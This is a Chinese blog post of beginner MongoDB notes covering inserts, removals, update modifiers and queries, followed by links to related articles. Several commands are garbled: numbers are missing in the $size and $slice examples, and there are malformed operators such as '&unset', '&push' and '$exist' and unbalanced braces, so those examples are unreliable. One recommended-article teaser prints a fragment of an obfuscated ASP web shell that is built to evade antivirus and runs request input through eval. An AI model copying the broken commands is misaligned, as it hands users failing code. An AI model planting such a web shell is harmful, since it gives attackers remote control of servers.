mongoDB 读书笔记(初级命令)
关于mongoDB的相关知识,读书笔记,便于自己查阅用,不定期更新(纯手打) 《mongoDB权威指南》
一、创建更新和删除
1.创建
//批量插入一个集合可以节省时间,只用一次Tcp
//插入时转成bson,并且数据不能大于4mb db.blog.insert({"name":"RedWolf"}) //插入一个文档 文档有一个name键 var temp={"name":"Dog"}
db.blog.insert(temp) //插入一个文档 文档有一个name键
2.删除
db.blog.remove({}) //删除blog中的所有文档,但不会删除集合本身以及索引
db.blog.remove({"age":"18"}) //删除blog中所有age为18的文档
//如果追求速度 删除整个集合,然后再重新创建索引会比较快 相对于删除所有文档
db.blog.drop() //未验证是否真的快很多
3.更新
db.blogs.insert({"name":"joe",age:18,frineds:"tom"})
//以下是更新步骤
var joe=db.blogs.findOne({"name":"joe"}) //此处不可用find() find返回的是游标
joe.relationship={"friends":"kate"}
joe.age=19
db.blogs.update({"name":"joe"},joe);//将修改后的文档进行更新 如果集合中存在多个name为joe的文档,则会尝试更新多条,但是joe中的_id是固定的,所以会造成错误。更新时需注意唯一性
3.1修改器
一般只需修改文档中的部分内容,此时采用修改器比较合适(原子性)
//eg1 记录页面被访问次数的文档,每当被访问的时候加一 $inc 对之后的键加指定值(该值为负可实现减法) 如果键不存在则会添加该建并置为指定值
db.web.insert({"pageName":"cnblogs","times":1})
db.web.update({"pageName":"cnblogs"},{"$inc":{"times":1}})
//eg2 直接修改值 $set 会直接修改 如果修改的键不存在,则会添加该键并置为指定值
db.web.update({"pageName":"cnblogs"},{"$set":{"times":88}}) //eg3 修改内嵌值
db.blog.update({"name":"joe"},{"$set":{"relationship.friends":"Lin"}})
//eg4 删除指定键 $unset会删除指定键 该例中会删除age键
db.blog.update({"name":"joe"},"&unset":{"age":1})
//对数组的操作 $push 会插入到数组的末尾
db.web.insert({"name":"test","bin":[1,2,3,4,6]})
db.web.update({"name":"test"},{"$push":{bin:5}}) db.web.insert({"name":"try","bin":[{"id":1},{"id":2}]})
db.web.update({"name":"try"},{"$push":{"bin":{"id":3}}})
//数组操作 $ne配合 $push
db.web.insert({"name":1,"bin":[1,2,3]});
db.web.insert({"name":2,"bin":[1,2,3,4]}); db.web.update({"name":{"$ne":1}},{"$push":{"bin":4}})//为name为1的文档中的bin添加4
db.web.update({"bin":{"$ne":4}},{"$push":{"bin":4}}) //若bin中没有4,则添加4
//addToSet 如果没有则添加 取代了$ne和$push的组合
db.web.update({"name":1},{"$addToSet":{"bin":20}}) //对于name为1的文档如果bin中没有20则添加
//$addToSet 配合 $each 添加数组中不同的内容
db.web.update({"id":1},{"$addToSet":{"bin":{"$each":[1,2,3,4,5]}}})
//删除数组中的元素 $pop
db.web.update({"id":1},{"$pop":{"bin":1}}) //从数组末尾删除一个
db.web.update({"id":1},{"$pop":{"bin":-1}}) //从数组开头删除一个
//删除数组中的元素 $pull
db.web.update({"id":1},{"$pull":{"bin":1}}) //从数组中删除所有为1的项
//数组的定位操作 $
db.web.update({"bin":3},{"$inc":{"bin.$":3}})
// $upsert 有则更新,没有则根据查询条件和更新内容添加新文档 update的第三个参数为true则为upsert
db.web.update({"id":3},{"$push":{"bin":8}},true)
// $save 存在_id使调用upsert 否则调用insert var x=db.web.findone();
x.id=9
db.web.save(x)
//更新匹配的多个文档
//正常情况下即使匹配多个也只更新匹配到的第一条,update的第四个参数为true则匹配多条 db.web.update("id":{"$ne":100},{"&push":{"bin":100}},false,true) //为所有id不为100的文档的bin添加100
二、查询
//用逗号隔开为多个条件 条件1and条件2
db.web.find({"id":1,"name":"blog"})
//返回指定的键 find函数的第二个参数指定要返回和不需要返回的键 1为需要返回 0为不需要返回
db.web.find({"id":1},{"id":1,"_id:0"})
// $lt $lte $gt $gte 分别对应 < <= > >=
db.web.find({"age":{"$gt":10,"$lt":18}}) //查找age在(10,18)范围的文档
var date=new Date
db.web.find({"datetime":{"$gt":date}})
// $in 某个键值匹配任意一项 $or 任意一个条件达成
db.web.find({"id":{"$in":[1,2,3]}}) //查找id为 1 2或3 的文档
db.web.find({"$or":[{"id":1},{"age":3}]}) //查找id为1或年龄为3的文档
// $mod取余 $not 取反
db.web.find({"id":{"not":{"$mod:[5,1]"}}})
//取id 除5后不余1的id 如2,3,4,5,7
//正则表达式 /××××××××××/
db.web.find({"name":/[0-9]*/}) //查找名称为数字的文档
//查询数组 $all
db.web.find({"bin":{"$all":[1,2,3]}}) //查找bin中包含1,2和3的文档
//要查询键存在,但是值为null的文档 用$exist
db.web.find({"address":{"$in":[null],"$exist":true}})
//查询指定长度的数组 $size
db.web.find({"bin":{"$size":}}) //查询bin有四个元素的文档
//返回指定数量 $slice
db.web.findOne({"id":{"$not":}},{"comments":{"slice":}}) //返回符合条件的前10条
db.web.findOne({"id":{"$not":}},{"comments":{"slice":-}}) //返回符合条件的后10条
db.web.findOne({"id":{"$not":}},{"comments":{"slice":[,]}}) //返回符合条件的6-13的元素
mongoDB 读书笔记(初级命令)的更多相关文章
- MongoDB学习笔记~客户端命令行的使用
回到目录 当我们从MongoDB网站下载安装包之后,它会伴随有一系列的工具,服务器程序mongod是我们耳熟能详的了,客户端mongo和性能检测mongostat我们可能就没有用过了,今天主要是介绍一 ...
- MongoDB整理笔记の指定命令和指定文件
MongoDB shell 不仅仅是一个交互式的shell,它也支持执行指定javascript 文件,也支持执行指定的命令片断.有了这个特性,就可以将MongoDB 与linux shell 完美结 ...
- MongoDB学习笔记—常用命令
这里记录一下MongoDB常用的命令 数据库相关 创建数据库 use DATABASE_NAME 如果数据库不存在,则创建数据库,否则切换到指定数据库. 删除数据库:切换到要删除的数据库下,执行命令即 ...
- 《JavaScript设计模式与开发实践》读书笔记之命令模式
1.命令模式 1.1 传统的命令模式 命令模式的应用场景:请求的发送者和请求接收者消除彼此耦合关系 以页面点击按钮为例 点击按钮后,借助命令对象,解开按钮和负责具体行为对象之间的耦合 <body ...
- [读书笔记]Linux命令行与shell编程读书笔记04 安装软件,编辑器注意事项
1. debian以及redhat两种主流的linux发行版用的包管理工具 debian的包管理工具是 dpkg 再现安装的是 apt apt的工具主要有 apt-get apt-cache apti ...
- [读书笔记]Linux命令行与shell编程读书笔记03 文件系统等
1. 文件系统的种类 ext ext2 ext3 ext4 JFS XFS 其中ext3 开始支持journal日志模式 与raid卡类似 有 数据模式 排序模式 以及回写模式 数据模式最安全 回写 ...
- [读书笔记]Linux命令行与shell编程读书笔记02 环境变量以及其他
1. Linux的环境变量. 全局环境变量的查看 printenv 一个结果示例 XDG_SESSION_ID=354TERM=xtermSHELL=/bin/bashSSH_CLIENT=10.24 ...
- [读书笔记]Linux命令行与shell编程读书笔记01
1. Linux的组成部分 1)linux内核(kernel) 2)GNU工具链 3)GUI/CLI工作几面(shell) 4)应用程序(app) 2Linux内核的主要工作: 1) 管理内存 2)管 ...
- MongoDB学习笔记系列
回到占占推荐博客索引 该来的总会来的,Ef,Redis,MVC甚至Sqlserver都有了自己的系列,MongoDB没有理由不去整理一下,这个系列都是平时在项目开发时总结出来的,希望可以为各位一些帮助 ...
随机推荐
- TYVJ P1053 字符串的展开 Label:字符 水
背景 NOIP2007年提高组第2道 描述 在初赛普及组的“阅读程序写结果”的问题中,我们曾给出一个字符串展开的例子:如果在输入的字符串中,含有类似于“d-h”或“4-8”的子串,我们就把它当作一种简 ...
- iPhone开发常问的十个问题
iPhone开发常问的十个问题 前言 今天去stackoverflow.com上看了一下iPhone标签下排名最高的10个问题,将它们整理出来,希望这些常见问题能帮到一些iPhone开发的初学者.本来 ...
- 免杀ASP一句话
<% wei="日日日)""wei""(tseuqer lave 日" execute(UnEncode(wei)) function ...
- NBUT 1525 Cow Xor(01字典树+前缀思想)
[1525] Cow Xor 时间限制: 2000 ms 内存限制: 65535 K 问题描述 农民约翰在喂奶牛的时候被另一个问题卡住了.他的所有N(1 <= N <= 100,000)个 ...
- POI设置边框
在做一个电子表格时,边框的设置有时是必不可少的.这一节就来介绍边框,设置时,可以指定边框的位置,边框的种类,边框的顔色. 首先是边框的位置和种类.对单元格设置边框时,有上下左右位置之分,所以POI也准 ...
- [IT学习]关于minidump
windows debug里面需要用到数据分析. 很重要的一个工具就是dump. 什么事minidump,就是windows在蓝屏或其他故障时,转存的内存数据.(我现在是这么理解的) Applicat ...
- ThinkPHP中Xheditor编辑器报错
在使用Xheditor这个插件时..我按照他里面的domo中的方法放到自己的控制器中..出现如下问题 以下是我节选的错误提示 /index.php/admin/goods/upload/ 上传接口发生 ...
- 解析使用ThinkPHP应该掌握的调试手段
解析使用ThinkPHP应该掌握的调试手段 使用ThinkPHP应该掌握的调试手段经常看到有人问到findAll的返回数据类型是什么之类的问题,以及出错了不知道什么原因的情况,其实还是没有熟悉 ...
- TCP/IP简介
TCP/IP协议分层 提到协议分层,我们很容易联想到ISO-OSI的七层协议经典架构,但是TCP/IP协议族的结构则稍有不同.如图所示 TCP/IP协议族按照层次由上到下,层层包装.最上面的就是应用层 ...
- $().html(value) vs $().empty().append(value)
当需要清空某个dom结点内容时,我所知道的有两种方法: 1.Element.removeChild(child) // Removing all children from an element va ...